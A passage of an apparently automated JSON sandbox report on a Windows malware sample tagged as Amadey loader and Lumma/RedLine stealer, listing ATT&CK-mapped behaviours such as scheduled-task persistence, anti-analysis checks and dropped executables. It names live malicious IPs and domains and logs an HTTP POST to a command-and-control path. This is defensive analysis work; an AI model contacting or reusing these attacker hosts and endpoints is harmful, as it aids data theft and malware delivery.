HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00000516.00000001.270435.00DE0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"mercharena.biz\" (6 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"mercharena.biz\" (90 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"172.67.128.147\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00000560.00000001.263902.009EB000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"$43","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$44","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"ffa05200d7a741017eb476eef981b041.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"15\"\n \"th32ProcessID\": \"0\"}\n \"ffa05200d7a741017eb476eef981b041.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"skotes.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"skotes.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"15\"\n \"th32ProcessID\": \"0\"}\n \"5b5767e85f.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"15\"\n \"th32ProcessID\": \"0\"}\n \"5b5767e85f.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"ffa05200d7a741017eb476eef981b041.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000004000000d8210000000001000600004f\"}\n \"skotes.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000004000000d8210000000001000600004f\"}\n \"5b5767e85f.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000004000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$45","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"Found reference to API \"28924906690,2332,3173,,CreateCompatibleBitmap,Gdi32.dll,\"253:09:56.688\",RX=0,PX=0\" (Indicator: \"CreateCompatibleBitmap\"; Source: \"00000000-00000560.00000001.263902.009EB000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetCurrentProcessorNumber\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")\n Found reference to API \"GetCurrentProcessorNumberEx\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileInformationByHandleEx\" (Indicator: \"GetFileInformationByHandle\"; Source: \"00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"ffa05200d7a741017eb476eef981b041.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\"; Key: \"DRIVERDESC\")\n \"ffa05200d7a741017eb476eef981b041.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")\n \"skotes.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\"; Key: \"DRIVERDESC\")\n \"5b5767e85f.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\"; Key: \"DRIVERDESC\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$46","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"skotes.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"5b5767e85f.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"ffa05200d7a741017eb476eef981b041.exe\" opened \"\\Device\\KsecDD\"\n \"skotes.exe\" opened \"\\Device\\KsecDD\"\n \"5b5767e85f.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$47","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"csrss.exe,wininit.exe,winlogon.exe,lsass.exe,svchost.exe\" (File: \"00000000-00000516.00000001.270435.00750000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"skotes.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\abc3bc1985\\skotes.exe]- [targetUID: 00000000-00002756]\n \"5b5767e85f.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\1085426001\\5b5767e85f.exe]- [targetUID: 00000000-00002756]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"ffa05200d7a741017eb476eef981b041.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"ffa05200d7a741017eb476eef981b041.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"skotes.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"5b5767e85f.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reference explorer.exe process","description":"Found string \"explorer.exe\" (Indicator: \"explorer.exe\"; File: \"00000000-00000516.00000001.270435.00750000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-481","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"ffa05200d7a741017eb476eef981b041.exe\" has section name with entropy \"7.02021042057\"\n \"ffa05200d7a741017eb476eef981b041.exe\" has section name anzaecnx with entropy \"7.95427508168\"\n \"ffa05200d7a741017eb476eef981b041.exe\" has section name xfnyaduc with entropy \"6.32388565216\"\n \"skotes.exe\" has section name with entropy \"7.02021042057\"\n \"skotes.exe\" has section name anzaecnx with entropy \"7.95427508168\"\n \"skotes.exe\" has section name xfnyaduc with entropy \"6.32388565216\"\n \"5b5767e85f.exe\" has section name with entropy \"7.18056918239\"\n \"5b5767e85f.exe\" has section name ksoobzjo with entropy \"7.95417612712\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET DROP Spamhaus DROP Listed Traffic Inbound group 32\" (SID: 2400031, Rev: 4246, Severity: 2) categorized as \"Misc Attack\"\n Detected alert \"ET INFO Executable Download from dotted-quad Host\" (SID: 2016141, Rev: 9, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download\" (SID: 2016538, Rev: 6, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response\" (SID: 2021076, Rev: 3, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET INFO Observed DNS Query to .biz TLD\" (SID: 2027863, Rev: 5, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$48","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"ffa05200d7a741017eb476eef981b041.exe\" reads file \"C:\\Users\\desktop.ini\"\n \"ffa05200d7a741017eb476eef981b041.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"ffa05200d7a741017eb476eef981b041.exe\" reads file \"C:\\Users\\%OSUSER%\\Searches\\desktop.ini\"\n \"ffa05200d7a741017eb476eef981b041.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"ffa05200d7a741017eb476eef981b041.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"ffa05200d7a741017eb476eef981b041.exe\" reads file \"C:\\Users\\%OSUSER%\\Contacts\\desktop.ini\"\n \"ffa05200d7a741017eb476eef981b041.exe\" reads file \"C:\\Users\\%OSUSER%\\Favorites\\desktop.ini\"\n \"ffa05200d7a741017eb476eef981b041.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"ffa05200d7a741017eb476eef981b041.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"skotes.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\abc3bc1985\\skotes.exe]- [targetUID: 00000000-00002756]\n \"5b5767e85f.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- Location: [%TEMP%\\1085426001\\5b5767e85f.exe]- [targetUID: 00000000-00002756]\n \"skotes.job\" has type \"VAX-order 68k Blit mpx/mux executable\"- Location: [%WINDIR%\\Tasks\\skotes.job]- [targetUID: 00000000-00000560]\n \"random_1_.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"skotes.exe\" wrote 16384 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\OX8EQCT0\\random[1].exe\": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e240000504500004c010700 ...\n \"skotes.exe\" wrote 16384 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\1085426001\\5b5767e85f.exe\": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e240000504500004c010700 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 185.215.113.43 on port 80 is sent without HTTP header\n TCP traffic to 185.215.113.75 on port 80 is sent without HTTP header\n TCP traffic to 172.67.128.147 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"skotes.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"WmiPrvSE.exe\" (Indicator: \"wmiprvse.exe\"; in File: \"00000000-00000516.00000001.270435.00750000.00000004.mdmp\")\n Found string \"WmiPrvSE.exe\" (Indicator: \"wmiprvse.exe\"; in Source: \"00000000-00000516.00000000.270346.00750000.00000004.mdmp, 00000000-00000516.00000001.270435.00750000.00000004.mdmp\")\n Found string \"WmiPrvSE.exe\" (Indicator: \"wmiprvse.exe\"; in Source: \"00000000-00000560.00000000.263215.00280000.00000004.mdmp\")\n Found string \"WmiPrvSE.exe\" (Indicator: \"wmiprvse.exe\"; in Source: \"00000000-00002756.00000000.264161.00220000.00000004.mdmp, 00000000-00002756.00000001.266081.00220000.00000004.mdmp, 00000000-00002756.00000002.268004.00220000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate process encountered in a system snapshot","description":"\"ffa05200d7a741017eb476eef981b041.exe\" called \"Process32FirstW with parameter [System Process]\" (UID: 00000000-00000560)\n \"ffa05200d7a741017eb476eef981b041.exe\" called \"Process32NextW with parameter System\" (UID: 00000000-00000560)\n \"skotes.exe\" called \"Process32FirstW with parameter [System Process]\" (UID: 00000000-00002756)\n \"skotes.exe\" called \"Process32NextW with parameter System\" (UID: 00000000-00002756)\n \"5b5767e85f.exe\" called \"Process32FirstW with parameter [System Process]\" (UID: 00000000-00000516)\n \"5b5767e85f.exe\" called \"Process32NextW with parameter System\" (UID: 00000000-00000516)","origin":"API Call","mitre_attack_id":"T1057","relevance":5,"id":"api-104","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find a SID for the specified name","description":"\"skotes.exe\" called \"LookupAccountNameA\" with parameters {\"AccountName\": \"%OSUSER%\"\n \"Sid\": \"1697836\"\n \"cbSid\": \"ff000000\"\n \"ReferencedDomainName\": \"%OSUSER%-PC\"\n \"cchReferencedDomainName\": \"0a000000\"\n \"peUse\": \"01000000\"}","origin":"API Call","mitre_attack_id":"T1087","relevance":2,"id":"api-189","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"\"login.skype.com0\" (Indicator: \"skype.com\")\n \"login.skype.com\" (Indicator: \"skype.com\")\n \"www.login.skype.com0\" (Indicator: \"skype.com\")","origin":"File/Memory","relevance":10,"id":"string-61","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"$49","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"ffa05200d7a741017eb476eef981b041.exe\" claimed CRC 2230764 while the actual is CRC 2198268\n \"skotes.exe\" claimed CRC 2230764 while the actual is CRC 2198268\n \"5b5767e85f.exe\" claimed CRC 2140566 while the actual is CRC 2135420","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"ffa05200d7a741017eb476eef981b041.exe\" has an entrypoint in section \".taggant\"\n \"skotes.exe\" has an entrypoint in section \".taggant\"\n \"5b5767e85f.exe\" has an entrypoint in section \".taggant\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"malicious","category":"Environment Awareness","name":"Reads the system/video BIOS version","description":"\"ffa05200d7a741017eb476eef981b041.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"SYSTEMBIOSVERSION\")\n \"ffa05200d7a741017eb476eef981b041.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"VIDEOBIOSVERSION\")\n \"skotes.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"SYSTEMBIOSVERSION\")\n \"skotes.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"VIDEOBIOSVERSION\")\n \"5b5767e85f.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"SYSTEMBIOSVERSION\")\n \"5b5767e85f.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"VIDEOBIOSVERSION\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":9,"id":"registry-6","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"malicious","category":"General","name":"Calls an API typically used to execute an application","description":"\"ffa05200d7a741017eb476eef981b041.exe\" called \"ShellExecuteA\" with parameter %TEMP%\\abc3bc1985\\skotes.exe (UID: 00000000-00000560)\n \"skotes.exe\" called \"ShellExecuteA\" with parameter %TEMP%\\1085426001\\5b5767e85f.exe (UID: 00000000-00002756)","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"malicious","category":"Installation/Persistence","name":"Drops executable files to the Windows system directory","description":"File type \"VAX-order 68k Blit mpx/mux executable\" was dropped at \"%WINDIR%\\Tasks\\skotes.job\"","origin":"Binary File","mitre_attack_id":"T1036","relevance":7,"id":"binary-7","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler interface DLL","description":"\"ffa05200d7a741017eb476eef981b041.exe\" loaded module \"%WINDIR%\\SysWOW64\\mstask.dll\" at 73AA0000","origin":"Loaded Module","mitre_attack_id":"T1053","relevance":5,"id":"module-5","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$4a","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"mercharena.biz\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"name":"Fingerprint","details_count":6,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"},{"detail":"Reads the system/video BIOS version"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"name":"Evasive","details_count":4,"details":[{"detail":"Possibly tries to evade analysis by sleeping many times"},{"detail":"Possibly checks for the presence of a forensics/monitoring tool"},{"detail":"Sets the 'ThreadHideFromDebugger' thread data structure"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]}]},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":8,"imported_dlls_count":93,"dropped_files_count":0,"extracted_files_count":4,"files_written_count":15,"files_deleted_count":0,"registry_keys_created_count":34,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":34,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":3,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["amadeyloader","backdoor","commodity","credentialharvesting","criminal","downloader","informationstealer","loader","lummastealer","redlinestealer","slashnext:socialengineering","evasive","malicious"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"67b42a0003193fc1d7030f01","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["PRT","USA"],"submit_name":"ffa05200d7a741017eb476eef981b041.exe","analysis_start_time":"2025-02-18T06:41:54+00:00","indicators_count":{"informative":127,"suspicious":57,"malicious":7},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"185.215.113.43","port":80,"protocol":"TCP","country":"Portugal","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"address":"185.215.113.75","port":80,"protocol":"TCP","country":"Portugal","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"address":"172.67.128.147","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]}],"dns_resolutions":[{"domain":"friendseforever.help","country":"-","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"domain":"mercharena.biz","address":"172.67.128.147","ttl":300,"country":"United States","registrar_name":"PDR Ltd. d/b/a PublicDomainRegistry.com","registrar_name_servers":"jean.ns.cloudflare.com","registrar_creation_date":"2024-08-09T11:43:36+00:00","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"domain":"shiningrstars.help","country":"-","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]}],"http_requests":[{"host":"185.215.113.43","host_ip":"185.215.113.43:80","url":"/Zu7JuNko/index.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /Zu7JuNko/index.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: 185.215.113.43\nContent-Length: 4\nCache-Control: 